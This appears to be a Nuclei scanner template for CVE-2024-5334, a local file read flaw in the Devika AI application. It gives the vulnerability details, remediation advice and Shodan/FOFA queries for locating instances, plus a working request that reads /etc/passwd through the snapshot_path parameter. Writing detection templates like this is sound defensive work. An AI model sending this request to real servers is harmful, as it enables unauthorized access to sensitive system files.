Devika - Local File Inclusion

id: CVE-2024-5334

info:
  name: Devika - Local File Inclusion
  author: nechyo,nukunga,harksu,olfloralo,gy741
  severity: high
  description: |
    A local file read vulnerability exists in the stitionai/devika repository, affecting the latest version. The vulnerability is due to improper handling of the 'snapshot_path' parameter in the '/api/get-browser-snapshot' endpoint. An attacker can exploit this vulnerability by crafting a request with a malicious 'snapshot_path' parameter, leading to arbitrary file read from the system. This issue impacts the security of the application by allowing unauthorized access to sensitive files on the server.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive files and data.
  remediation: |
    Ensure input validation is implemented to prevent malicious file inclusions and use whitelists for allowed file paths.
  reference:
    - https://huntr.com/bounties/7eec128b-1bf5-4922-a95c-551ad3695cf6
    - https://github.com/stitionai/devika/commit/6acce21fb08c3d1123ef05df6a33912bf0ee77c2
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5334
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-5334
    cwe-id: CWE-73
    epss-score: 0.02073
    epss-percentile: 0.79161
  metadata:
    max-request: 1
    shodan-query: title:"Devika AI"
    fofa-query: title="Devika AI"
  tags: cve,cve2024,devika-ai,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /api/get-browser-snapshot?snapshot_path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "attachment; filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022075b60bddc866e11735978239c3c417e85f330571c51919a1fff634dca92fe094022100ac0f885935424367e72675050e6ceccf07ca549b8fa578d7365c7e71e9d8baac:922c64590222798bb761d5b6d8e72950